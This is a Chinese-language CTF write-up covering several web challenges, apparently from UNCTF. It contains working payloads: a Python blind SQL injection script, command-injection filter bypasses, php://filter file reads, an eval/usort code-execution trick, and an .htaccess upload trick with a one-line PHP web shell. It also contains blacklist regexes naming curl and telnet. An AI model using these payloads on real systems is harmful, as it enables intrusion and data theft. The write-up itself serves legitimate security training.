访问Web服务是一个登入框/var/www/html/index.php ,失败
file=/etc/apache2/sites-available/000-default.conf
file=/var/www/secret_dir_2333/html/index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php class  user     public  $hostname  = '127.0.0.1' ;     public  $username  = 'root' ;     public  $password  = 'root' ;     public  $database  = 'ctf' ;     private  $mysqli  = null ;     public  function  __construct (      {        $this ->mysqli = mysqli_connect(             $this ->hostname,             $this ->username,             $this ->password         );         mysqli_select_db($this ->mysqli,$this ->database);     }     public  function  filter (      {        $_POST ['username' ] = addslashes($_POST ['username' ]);         $_POST ['password' ] = addslashes($_POST ['password' ]);         $safe1  = preg_match('/inn|or/is' , $_POST ['username' ]);         $safe2  = preg_match('/inn|or/is' , $_POST ['password' ]);         if ($safe1  === 0  and  $safe2  === 0 ){             return  true ;         }else {             die ('No hacker!' );         }             }     public  function  login (      {        $this ->filter();         $username  = $_POST ['username' ];         $password  = $_POST ['password' ];         $sql  = "select * from user where username='%s' and password='$password '" ;         $sql  = sprintf($sql ,$username );         $result  = mysqli_query($this ->mysqli,$sql );         $result  = mysqli_fetch_object($result );         if ($result ->id){             return  1 ;         }else {             return  0 ;         } 	} session_start(); if (isset ($_GET ['file' ])){    if (preg_match('/flag/is' , $_GET ['file' ]) === 0 )     {         echo  file_get_contents('/' .$_GET ['file' ]);     } } if (isset ($_POST ['password' ])){    $user  = new  user;     $login  = $user ->login();     if ($login )     {         echo  "Success!" ;     }     else      {         echo  "Wrong!" ;     } } ?> 
一开始面对addslashes()还不知道怎么Bypass$sql = sprintf($sql,$username);http://bey0nd.xyz/2018/11/05/1/ 
1 2 3 输入 处理  格式化 ' -> \' -> \' %' -> %\' -> %' 
那么就要让password抢掉username的格式化,可以使用占位符
就可以基于这个登入成功或失败的回显来进行盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import  requestsr = requests.session() dbname = ''  for  i in  range (1 ,50 ):    bot = 32      top = 128      mid = (bot + top) // 2      while (bot < top):         url = 'http://eci-2zegdefmmywv8xtsuu90.cloudeci1.ichunqiu.com/index.php'                                              data={'usernaem' :'' , 'password' :'%1$\'||(ascii(substr((select * from fl4g),{},1))>{})#' .format (i,mid)}         res=r.post(url=url, data=data)         if  "Success"  in  res.text:             bot = mid + 1          else :             top = mid         mid = (bot + top) // 2          if (mid == 32  or  mid == 127 ):             break      dbname = dbname + chr (mid)     print(dbname) 
现在才想起来substr是从1开始的
这里有两个点可以提一下
前两周刷BUUOJ刷到的知识点,躺在to_do_list里面就一直没看,结果这个题差点在这一步卡死
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 sys.schema_object_overview     db        库名 sys.schema_table_statistics     table_schema    库名     table_name    表名 sys.schema_table_statistics_with_buffer     table_schema    库名     table_name    表名 sys.x$schema_index_statistics     table_schema    库名     table_name    表名 sys.x$schema_table_statistics     table_schema    库名     table_name    表名 sys.x$ps_schema_table_statistics_io     table_schema    库名     table_name    表名 
这里只写出了几个通用的表select * from fl4g 就能出flag
当时随便打了个 select * from fl4g 就出flag了,也没多想
有错误回显的情况下可以进行列名的获取
1 2 3 4 5 6 7 8 MariaDB [ctf]> select * from flag union all select * from (select * from user as a join user b)c; ERROR 1060 (42S21): Duplicate column name 'id' MariaDB [ctf]> select * from flag union all select * from (select * from user as a join user b using(id))c; ERROR 1060 (42S21): Duplicate column name 'username' MariaDB [ctf]> select * from flag union all select * from (select * from user as a join user b using(id,username))c; ERROR 1060 (42S21): Duplicate column name 'email' MariaDB [ctf]> select * from flag union all select * from (select * from user as a join user b using(id,username,email))c; ERROR 1222 (21000): The used SELECT statements have a different number of columns 
进入页面是一个Ping Toolindex.php style.css
1 2 base64    index.php base64<index.php 
这里使用tab符或<都能用于代替空格
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if  (isset ($_GET ['url' ])){     $ip =$_GET ['url' ];     if (preg_match("/(;|'| |>|]|&| |\\$|\\|rev|more|tailf|head|nl|tail|tac|cat|rm|cp|mv|\*|\{)/i" , $ip )){        die ("<strong><center>非法字符</center></strong>" );     }     if (preg_match("/.*f.*l.*a.*g.*/" , $ip )){        die ("<strong><center>非法字符</center></strong>" );     }     $a  = shell_exec("ping -c 4 " .$ip );     echo ($a ); }else {     echo  "<script>alert('欢迎来到UN`s online tools 如果师傅觉得题目不适合您,可以出门左拐')</script>" ; } ?> 
可以看到flag在根目录下
但是第二层正则则对于"flag"过滤得很严
1 |`echo    Y2F0IC9mbGFn|base64    -d` 
base64解码的结果为"cat /flag"
查看源代码,看到两段注释内容
实在看不出来是什么编码,丢进basecrackget action
尝试?action=/etc/passwd
使用base64编码读取flag.php时发现被ban
?action=php://filter/string.toupper|string.rot13/resource=flag.php
1 2 3 4 <?PHP $FLAG  = "UNCTF{7HIS_IS_@_F4KE_F1A9}" ;?> 
316E4433782E706870 进行Base16解码得到 1nD3x.php1nD3x.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting(0 ); show_source(__FILE__ ); $code =$_REQUEST ['code' ];$_ =array ('@' ,'\~' ,'\^' ,'\&' ,'\?' ,'\<' ,'\>' ,'\*' ,'\`' ,'\+' ,'\-' ,'\'' ,'\"' ,'\\\\' ,'\/' ); $__ =array ('eval' ,'system' ,'exec' ,'shell_exec' ,'assert' ,'passthru' ,'array_map' ,'ob_start' ,'create_function' ,'call_user_func' ,'call_user_func_array' ,'array_filter' ,'proc_open' );$blacklist1  = array_merge($_ );$blacklist2  = array_merge($__ );if  (strlen($code )>16 ){    die ('Too long' ); } foreach  ($blacklist1  as  $blacklisted ) {     if  (preg_match ('/'  . $blacklisted  . '/m' , $code )) {          die ('WTF???' );      }  }  foreach  ($blacklist2  as  $blackitem ) {    if  (preg_match ('/'  . $blackitem  . '/im' , $code )) {         die ('Sry,try again' );     } } @eval ($code ); ?> 
过滤了很多内容
可以使用php变长参数
1 2 3 4 ?1 []=test&1 []=phpinfo()&2 =assert echo  var_dump(...$_GET );array (2 ) { [0 ]=> string (4 ) "test"  [1 ]=> string (9 ) "phpinfo()"  } string (6 ) "assert" 
使用usort进行命令执行
1 2 GET: 1[]=test&1[]=system('cat /flag_mdnrvvldb')&2=assert POST: code=usort(...$GET); 
1 preg_match("/perl|pyth|ph|auto|curl|\|base|>|rm|ryby|openssl|war|lua|msf|xter|telnet/i" ,$black ) 
这里的 “||base|“匹配”|base”
1 preg_match("/ph|ml|js|cg/i" , $name ) 
两种思路
1 2 3 #.htaccess SetHandler application/x-httpd-p\ hp 
1 2 #a.jpg <?=@eval($_GET["cmd"]); 
1 2 3 #.htaccess Options ExecCGI AddHandler cgi-script .xxx 
1 2 3 4 5 6 #a.xxx #!/bin/bash echo "Content-Type: text/plain" echo "" cat /flag exit 0 
相关链接.htaccess Trick分享